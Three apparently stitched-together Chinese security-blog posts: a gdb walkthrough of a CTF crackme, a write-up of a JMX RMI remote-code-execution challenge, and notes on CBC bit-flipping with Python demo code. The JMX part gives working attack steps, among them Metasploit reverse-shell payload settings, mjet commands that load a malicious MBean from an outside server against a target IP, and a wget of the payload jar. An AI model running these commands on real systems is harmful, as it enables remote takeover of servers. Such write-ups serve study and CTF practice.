Hello World, binary
0x00
自从不久之前决定专职称为 binary 选手之后,便开始学习汇编。大体读了一下王爽的《汇编语言》,之后操刀,让锐锐菊苣出了一道逆向题。做了很久,刚开始去做总是很容易踩到坑。不过题目是很简单的,主要是练习一下如何去熟悉 gdb 的用法以及操作。
以上是题外话。binary 娘养成系列对我来说虽然是一块大石头,但是对于菊苣们来说肯定很简单,所以还望谅解,如有错误还请不吝赐教。
0x01
这里我用到的工具是 gdb,配上 peda。
首先拿到锐锐老师的题目,gdb FuckRuirui
,进入 gdb 进行调试。
先看一下 main 函数的代码,利用 disassem main
:
....
0x080485e9 <+21>: mov DWORD PTR [esp+0x28],0x0
0x080485f1 <+29>: mov DWORD PTR [esp+0x2c],0x0
0x080485f9 <+37>: mov DWORD PTR [esp+0x30],0x0
0x08048601 <+45>: mov DWORD PTR [esp+0x34],0x0
0x08048609 <+53>: mov DWORD PTR [esp+0x38],0x0
0x08048611 <+61>: mov DWORD PTR [esp],0x8048749
0x08048618 <+68>: call 0x80483a0 <puts@plt>
0x0804861d <+73>: mov DWORD PTR [esp],0x804875d
0x08048624 <+80>: call 0x80483a0 <puts@plt>
0x08048629 <+85>: mov BYTE PTR [esp+0x24],0x0
0x0804862e <+90>: lea eax,[esp+0x27]
0x08048632 <+94>: mov DWORD PTR [esp+0x10],eax
0x08048636 <+98>: lea eax,[esp+0x26]
0x0804863a <+102>: mov DWORD PTR [esp+0xc],eax
0x0804863e <+106>: lea eax,[esp+0x25]
0x08048642 <+110>: mov DWORD PTR [esp+0x8],eax
0x08048646 <+114>: lea eax,[esp+0x24]
0x0804864a <+118>: mov DWORD PTR [esp+0x4],eax
0x0804864e <+122>: mov DWORD PTR [esp],0x8048778
0x08048655 <+129>: call 0x80483e0 <__isoc99_scanf@plt>
0x0804865a <+134>: movzx eax,BYTE PTR [esp+0x24]
0x0804865f <+139>: mov BYTE PTR [esp+0x28],al
0x08048663 <+143>: movzx eax,BYTE PTR [esp+0x25]
0x08048668 <+148>: mov BYTE PTR [esp+0x29],al
0x0804866c <+152>: movzx eax,BYTE PTR [esp+0x26]
0x08048671 <+157>: mov BYTE PTR [esp+0x2a],al
0x08048675 <+161>: movzx eax,BYTE PTR [esp+0x27]
0x0804867a <+166>: mov BYTE PTR [esp+0x2b],al
0x0804867e <+170>: lea eax,[esp+0x28]
0x08048682 <+174>: mov DWORD PTR [esp],eax
0x08048685 <+177>: call 0x80484ed <here> // 关键函数
....
题外话:锐锐老师还讲了一种得到汇编代码的方法,x/10i main
。
在 main 函数下一个断点(b main
),然后 r
运行,n
单步调试,跟着程序流程走一下。发现程序是获取 4 个字符,然后进入 here 函数进行比较,如果条件满足就输出 flag,不满足就输出错误信息然后退出。
接着 disassem here
:
....
0x0804852e <+65>: mov eax,DWORD PTR [ebp-0x2c]
0x08048531 <+68>: movzx eax,BYTE PTR [eax]
0x08048534 <+71>: cmp al,0xbb // 第一个字符为 0xbb
0x08048536 <+73>: je 0x8048546 <here+89>
0x08048538 <+75>: mov DWORD PTR [esp],0x8048740
0x0804853f <+82>: call 0x80483a0 <puts@plt>
0x08048544 <+87>: jmp 0x80485c1 <here+212>
0x08048546 <+89>: mov eax,DWORD PTR [ebp-0x2c]
0x08048549 <+92>: add eax,0x1
0x0804854c <+95>: movzx eax,BYTE PTR [eax]
0x0804854f <+98>: movsx edx,al
0x08048552 <+101>: mov eax,DWORD PTR [ebp-0x2c]
0x08048555 <+104>: add eax,0x2
0x08048558 <+107>: movzx eax,BYTE PTR [eax]
0x0804855b <+110>: movsx eax,al
0x0804855e <+113>: add edx,eax
0x08048560 <+115>: mov eax,DWORD PTR [ebp-0x2c]
0x08048563 <+118>: add eax,0x3
0x08048566 <+121>: movzx eax,BYTE PTR [eax]
0x08048569 <+124>: movsx eax,al
0x0804856c <+127>: add eax,edx
0x0804856e <+129>: cmp eax,0x50 // 第2、3、4个字符加起来为 0x50
0x08048571 <+132>: je 0x8048581 <here+148>
0x08048573 <+134>: mov DWORD PTR [esp],0x8048740
0x0804857a <+141>: call 0x80483a0 <puts@plt> // 输出错误信息
0x0804857f <+146>: jmp 0x80485c1 <here+212>
0x08048581 <+148>: mov DWORD PTR [ebp-0x24],0x0
0x08048588 <+155>: jmp 0x80485af <here+194>
0x0804858a <+157>: lea edx,[ebp-0x20] // 解密得到 flag
0x0804858d <+160>: mov eax,DWORD PTR [ebp-0x24]
0x08048590 <+163>: add eax,edx
0x08048592 <+165>: movzx edx,BYTE PTR [eax]
0x08048595 <+168>: mov eax,DWORD PTR [ebp-0x2c]
0x08048598 <+171>: movzx eax,BYTE PTR [eax]
0x0804859b <+174>: xor eax,0x52
0x0804859e <+177>: xor eax,edx
0x080485a0 <+179>: movsx eax,al
0x080485a3 <+182>: mov DWORD PTR [esp],eax
0x080485a6 <+185>: call 0x80483d0 <putchar@plt>
0x080485ab <+190>: add DWORD PTR [ebp-0x24],0x1
0x080485af <+194>: cmp DWORD PTR [ebp-0x24],0x12
0x080485b3 <+198>: jle 0x804858a <here+157>
....
逻辑比较清楚。首先程序获取输入的第一个字符,为 0xbb,接着获取第二个字符,存入 edx,然后获取第三个字符,相加:add edx,eax
,接着获取第四个字符,再相加存入 eax:add eax,edx
,最后比较:cmp eax,0x50
。
于是我们可以构造输入:\xbb\x20\x20\x10
。
➜ ~ python -c "print '\xbb\x20\x20\x10'" | ./FuckRuirui
come on and fuck me
maybe you can not fuck me
WHAT_A_SMART_RICTER
➜ ~
0x02
实际上,很难通过读汇编然后做出逆向(对于我这种渣渣来讲),单步调试也许是一个更好的选择。因为我不知道如何在 gdb 中输入不可见字符,所以锐锐老师教我利用 nc 监听端口,然后重定向到 FuckRuirui,接着利用 gdb attach 上去。
nc -lvvp 4444 -e FuckRuirui
注意这里的 nc 是 netcat-traditional 包里的。
接着利用 python socket 连接上去。
>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> sock.connect(('localhost', 4444))
>>>
ps -a
得到 pid,然后 gdb attach
。
➜ ~ ps -a
PID TTY TIME CMD
8576 pts/1 00:00:00 python
8957 pts/3 00:00:00 FuckRuirui
8963 pts/0 00:00:00 ps
➜ ~ gdb attach 8957
不过在这里我卡了很久,在 main 函数下断点一直失败,可能是因为我脸太黑。不过把断点直接下载 here 函数就好了,因为我们主要是跟 here 函数。
下好断点后,c 继续执行,然后 python 发送数据:sock.send('aaaa\n')
。
gdb-peda$ b here
Breakpoint 1 at 0x80484f3
gdb-peda$ c
[------------------------------------------------registers-------------------------------------------------]
EAX: 0xbfa81a88 --> 0x102020bb
EBX: 0xb7706ff4 --> 0x1a6d7c
ECX: 0x4
EDX: 0xb77088c4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbfa81a58 --> 0xbfa81aa8 --> 0x0
ESP: 0xbfa81a20 --> 0xb7707ac0 --> 0xfbad2088
EIP: 0x80484f3 (<here+6>: mov eax,DWORD PTR [ebp+0x8])
[---------------------------------------------------code---------------------------------------------------]
0x80484ed <here>: push ebp
0x80484ee <here+1>: mov ebp,esp
0x80484f0 <here+3>: sub esp,0x38
=> 0x80484f3 <here+6>: mov eax,DWORD PTR [ebp+0x8]
0x80484f6 <here+9>: mov DWORD PTR [ebp-0x2c],eax
0x80484f9 <here+12>: mov eax,gs:0x14
0x80484ff <here+18>: mov DWORD PTR [ebp-0xc],eax
0x8048502 <here+21>: xor eax,eax
[--------------------------------------------------stack---------------------------------------------------]
00:0000| esp 0xbfa81a20 --> 0xb7707ac0 --> 0xfbad2088
01:0004| 0xbfa81a24 --> 0xb77088c4 --> 0x0
02:0008| 0xbfa81a28 --> 0xb755f900 (0xb755f900)
03:0012| 0xbfa81a2c --> 0xb75b66eb (<__isoc99_scanf+139>: mov ecx,eax)
04:0016| 0xbfa81a30 --> 0xb7707ac0 --> 0xfbad2088
05:0020| 0xbfa81a34 --> 0x8048778 ("%c%c%c%c")
06:0024| 0xbfa81a38 --> 0xbfa81a64 --> 0xbfa81a84 --> 0x102020bb
07:0028| 0xbfa81a3c --> 0x0
[----------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 1, 0x080484f3 in here ()
gdb-peda$
接着 n 下去,修改 send 的数据,直到满足条件,得到 flag。
>>> print sock.recv(1024)
come on and fuck me
maybe you can not fuck me
WHAT_A_SMART_RICTER
>>>
PS:每次失败后都要重新 nc 一次,好累QAQ。
0x04
好想成为 binary 菊苣_(:3」∠)_说一下我为什么想转成 binary 选手。
之前一段时间在刷 wechall,当 wechall 的 PHP 题目刷到七七八八的时候,遇到了一个利用 unserialize 来进行获取 flag 的题目。这个虽然有具体的利用,但是不知道为什么脱离了 gdb 就会失败..
想了想,web 最终还是会走向 bin,国内的圈子都是以 web 为主,浮躁而无趣,学习一下 bin 也无妨。
嘛,就这样。
JMX RMI Exploit 实例
0x00
前几天的阿里 CTF 决赛中,Linux 渗透出了一道 JXM RMI 远程代码执行的题目。由于我太渣,所以没有做出来QWQ。赛后咨询了一下官方人员这道题目的 Writeup,做一个笔记。
1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。
以上文字引用某官方人员的解释。
在 Github 上有一个关于本漏洞的 exp,叫做 mjet,我们可以利用它来配合 metasploit 进行攻击。
不过如果你不喜欢 metasploit 的话,那么可以忽略下面的这一段。
0x01
下载 mjet,README:
Installation (with the github version of Metasploit)
Copy the "MBean" folder to "data/java/metasploit"
Copy java_mlet_server.rb to "modules/exploits/multi/misc/"
根据这里的提示将这个模块集成到 msf 里面,接着运行 msf,载入模块。
use exploit/multi/misc/java_mlet_server
随你喜欢的设置 payload。
set payload java/meterpreter/reverse_tcp
set LHOST 103.238.227.183
set LPORT 8976
接着输入 run
跑起来。这时候会显示一个 listen 的 URL,这里的 URL 就是我们的 Evil MBean 的地址。复制这个地址作为 mjet 的参数,运行:
java -jar mjet.jar -p 1099 -u http://103.238.227.183:8080/o5jSTI5rEWJw6Is/ -t 42.96.150.237
接着 msf 就拿到 session 了。
0x02
不过 msf 真的太重了,所以完全可以独立出来。利用 msf 生成 payload 之后,我们可以把它下载下来。考虑到本来 java 的 payload 就不多,能用的也就那几个,所以我用 java/shell_reverse_tcp
生成一个 evil 的 jar 包,还有 MBean 的地址:
set payload java/shell_reverse_tcp
set LHOST ricter.me
set LPORT 23333
run
生成 payload 之后直接下载到一个文件夹,关闭 msf。
其中 index.html 是我们的 MBean 内容。
0x03
nc 监听本地的 23333 端口,然后运行:
java -jar mjet.jar -p 1099 -u http://static.ricter.me/jmx/ -t 42.96.150.237
http://static.ricter.me/jmx/ 是存放的 evil MBean 和 jar 包的地址。
收到反弹的 shell:
0x04
我们可以很容易的修改 IP 和监听的端口,然后适配你自己的环境。
wget static.ricter.me/jmx/HjmbztqT.jar
unzip HjmbztqT.jar
vi metasploit.dat
之后重新打包压缩为 zip,然后修改后缀名为 jar。
参考
Bit-flipping Attack 笔记
Bit-flippting attack 是针对于 CBC 加密模式的一类攻击。攻击的意图也很直接:修改某一组密文的某个字节,导致另外一组解密出来的明文发生变化。
Introduction
首先要理解 CBC(cipher-block chaining)加密模式是如何工作的。贴上高大上的维基百科:http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
大体流程如下:
- 首先将明文分组(比如 16 个字节一组),位数不足的时候加以填充;
- 产生一个随机的初始化向量(叫做 IV)以及一个密钥;
- 将 IV 和第一组明文进行异或操作(XOR);
- 用密钥将第 3 步中 XOR 后的密文进行加密;
- 取第 4 步中加密后的密文,对第二组明文进行 XOR 操作;
- 用密钥将第 5 步产生的的密文加密;
- 重复 4-7,直到最后一组明文;
- 将 IV 和加密后的密文块按顺序拼接,得到加密的最终结果。
解密的流程正相反:
- 将 IV 从密文中取出,然后将密文进行分组;
- 利用密钥将第一组密文解密,同时用 IV 进行 XOR 操作得到明文;
- 利用密钥将第二组密文解密,同时用第 1 步中的密文进行 XOR 操作得到明文;
- 重复 1-4,直到最后一组密文。
CBC 模式加密的一个主要特点是完全依靠前面的密码文段来译码后面的内容。因此,整个过程的正确性决定于前面的部分。
这里就牵扯到一个问题,当我们更改了 IV 后,我们得到的第一组的明文会发生怎样的变化?
Example
我们首先来举个例子:
我们知道三个值,A、B,令M = A XOR B
。由于M = A XOR B
,所以M XOR A = B
;
若让X XOR M = C
,则 X 为X = A XOR B XOR C
。
这样,我们带入上述 CBC 模式加密中。我们可以更改初始化向量 IV 中某一个字节 A,导致解密出来的 XOR 异或后的密文中某一个字节 M,再经过和(更改过的)IV 异或操作后(原应该得到的明文的某一个字节 B)改变为 C。
就是这么简单的样子。下面来具体实践一下:
from Crypto.Cipher import AES
from Crypto import Random
import os
SECRET_KEY = os.urandom(8).encode('hex').upper()
IV = Random.new().read(16)
plaintext = '0123456789ABCDEFRICTERISNOTBAKA!'
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
PS:这里利用了 Python 的 Crypto 库,可以用pip install Crypto
安装喵。
我们随机产生了一个密钥和一个初始化变量 IV,然后随便打了一段明文_(:3」∠)_。
接下来我们对其进行 AES 加密,利用 CBC 加密模式:
aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
ciphertext = IV + aes.encrypt(pad(plaintext))
这里我产生的密文为(base64 编码后..不然不能看233):
thcREg6a8a4hPGiz/kgTsr5hei07uot05ab0+ov3iwkj9zPobh9vs/KJZmrIj4XGsrv92mIpaVbh\n6DSuPDltcA==
然后我们来替换 IV 中某个字节,让我们的明文中第三个字节从 2 变成 R。
经过上述公式X = A XOR B XOR C
的计算,我们可以知道,要想让 2 变成 R,我们需要将 IV 中第三个字节从 0x17 变为 0x71。
chr(ord(ciphertext[2]) ^ ord(plaintext[2]) ^ ord('R'))
由于 Python 不能直接更改字符串的某个值,我们只能分割成数组更改完后再拼接:
ciphertext = list(ciphertext)
ciphertext[2] = chr(ord(ciphertext[2]) ^ ord(plaintext[2]) ^ ord('R'))
ciphertext = ''.join(ciphertext)
然后我们进行 AES 解密:
IV = ciphertext[:BS]
ciphertext = ciphertext[BS:]
aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
plaintext = aes.decrypt(ciphertext)
plaintext = unpad(plaintext)
这样得到的结果就为:
01R3456789ABCDEFRICTERISNOTBAKA
值得注意的是,我们更改 IV 的时候不会影响接下来其他密文块的解密,只会影响第一组密文的结果,但是如果我们想更改第二组密文的某个值的结果的时候,就需要改变第一组密文的值,会导致第一组密文的解密结果坏掉。
我在 Github 上写了一段测试脚本如下,有兴趣可以看一看:
最后,如有错误,欢迎指出。因为没学过密码学,所以很害怕误人子弟就对了.._(:3」∠)_